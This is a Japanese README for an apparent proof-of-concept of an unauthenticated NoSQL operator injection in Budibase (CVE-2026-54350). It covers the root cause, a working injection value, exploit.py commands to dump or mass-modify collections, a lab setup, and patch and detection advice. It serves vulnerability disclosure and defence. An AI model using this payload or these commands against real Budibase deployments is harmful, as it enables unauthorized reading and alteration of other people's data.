
CVE-2026-54350 の PoC — Budibase の認証不要の NoSQL オペレーターインジェクション(CVSS 10.0)。公開クエリを介して任意のドキュメントコレクションの読み取り/一括書き込みが可能。
Budibaseにおける未認証のJSON/NoSQLオペレーターインジェクション。ドキュメントデータソース(MongoDB、CouchDB、Elasticsearch、DynamoDB-PartiQL、またはJSONボディを持つREST)をバックエンドとするPUBLICクエリを公開しているBudibaseアプリにアクセスする匿名の訪問者は、単一の未認証HTTPリクエストで、バックエンドのコレクションのすべてのドキュメントを読み取り、公開書き込みクエリが存在する場合はすべてのドキュメントを変更できます。
| CVE | CVE-2026-54350 |
| アドバイザリ | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (データクエリにおける特殊要素の不適切な無効化), CWE-89 |
| 認証 | なし(未認証) |
| 影響を受けるバージョン | Budibase <= 3.39.0(ベンダーアドバイザリの範囲) |
| 修正バージョン | NVDによると3.39.12; 注入された引用符は3.39.1からすでに無効化されており、明示的な修正(processJsonStringSync)は3.39.9に組み込まれています |
| 判定 | 確認済み — 3.39.0でエンドツーエンドで再現 |
クエリを実行する際、BudibaseはHandlebarsを使用してユーザーパラメータをクエリの生のJSONボディに展開し、その結果をJSON.parseします:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
影響を受けるビルドでは、パラメータはJSONエスケープなしで補間されるため、"を含む値が意図された文字列を閉じ、解析されたオブジェクトに兄弟キーを注入します。唯一の入力フィルターであるvalidateQueryInputs()(api/controllers/query/index.ts)は、Handlebarsマーカーのみ({{、}})を拒否します — "、\、}、$には触れません。
MongoDBのfindの場合、解析されたオブジェクトはそのままcollection.find()(integrations/mongodb.ts)に渡されます。値がオペレーターオブジェクトである重複したnameキーがJSON.parseのマージで優先され、文字列の等価性を{$exists: true}に変え、コレクション全体を返します。updateManyクエリに対する同じプリミティブは、フィルターをすべてのドキュメントに拡大します。
アクセス制御はバイパスされます。なぜならauthorized()(middleware/authorized.ts:141)は、クエリのリソースロールがPUBLICの場合、return next()でショートサーキットし、セッション認証とCSRFの両方をスキップするからです。クエリに到達するために必要なx-budibase-app-idヘッダーは公開されています — すべての公開アプリURLの一部です。
完全なコードレベルのウォークスルーとバージョン境界の調査については、ANALYSIS.mdを参照してください。
クエリボディテンプレート(ビルダーで設定した場合):
{"name":"{{ name }}"}
nameパラメータに注入される値:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
補間とJSON.parseの後(重複キーのマージは最後が優先):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$commentは不活性なMongoDBメタオペレーターであり、テンプレートの末尾の"}を吸収して、ボディ全体が有効なJSONのままになります。
exploit.py — Python 3標準ライブラリのみ、依存関係はありません。
# Dump the whole collection through a PUBLIC read (find) query
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# Modify every document through a PUBLIC updateMany query
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-idと--query-idは、公開アプリ自身のAPIトラフィックで観測される公開値です。--fieldはパラメータがバインドされているJSONキーを上書きします(デフォルトは--param)。
Dockerが必要です。このラボは--network host(ブリッジネットワークを前提としない)とmongo:4.4(ホストにAVXがない場合; MongoDB 5.0以降ではAVXが必要)を使用します。
bash lab/setup.sh
# prints PROD_APP_ID / READ_QUERY / UPDATE_QUERY, then:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.pyは正規のビルダーAPIのみを駆動します — デフォルトを弱めることはありません。クエリのアクセスロールをPUBLICにマークすることは、ファーストクラスのビルダー機能です(公開アプリはまさにこのメカニズムを通じてデータを公開します)。完全なキャプチャ実行はEVIDENCE.txtにあります。
NVDは影響範囲を< 3.39.12としています。経験的に、裸の引用符ベクトルは**<= 3.39.0**でのみ悪用可能であり、これはベンダーのGHSAアドバイザリが述べている範囲とまったく同じです。3.39.1からテンプレート層はすでに注入された引用符をエスケープしており(検証済み:3.39.8に対する同じリクエストは無効化されます)、3.39.9では明示的なprocessJsonStringSync修正が導入されています。したがって、このPoCはベンダーの影響範囲内の最新リリースである3.39.0を対象としています。
>= 3.39.12、または少なくともprocessJsonStringSyncが補間パラメータをJSONエスケープする>= 3.39.9)にアップグレードしてください。PUBLICであるクエリについて公開アプリを監査し、可能な場合は認証されたロールに制限してください。未認証セッションからのPOST /api/v2/queries/<id>リクエストで、そのparametersの値に"が続いて$で始まるMongoDBオペレーター($exists、$ne、$gt、$where、$regex、...)または重複したJSONキーが含まれているものを探してください。MongoDBでは、プロファイリングを有効にし、通常は文字列であるクエリパラメータがオブジェクトとして到着した場合にアラートを出してください。
研究およびPoC: Caio Fabrício (@BiiTts)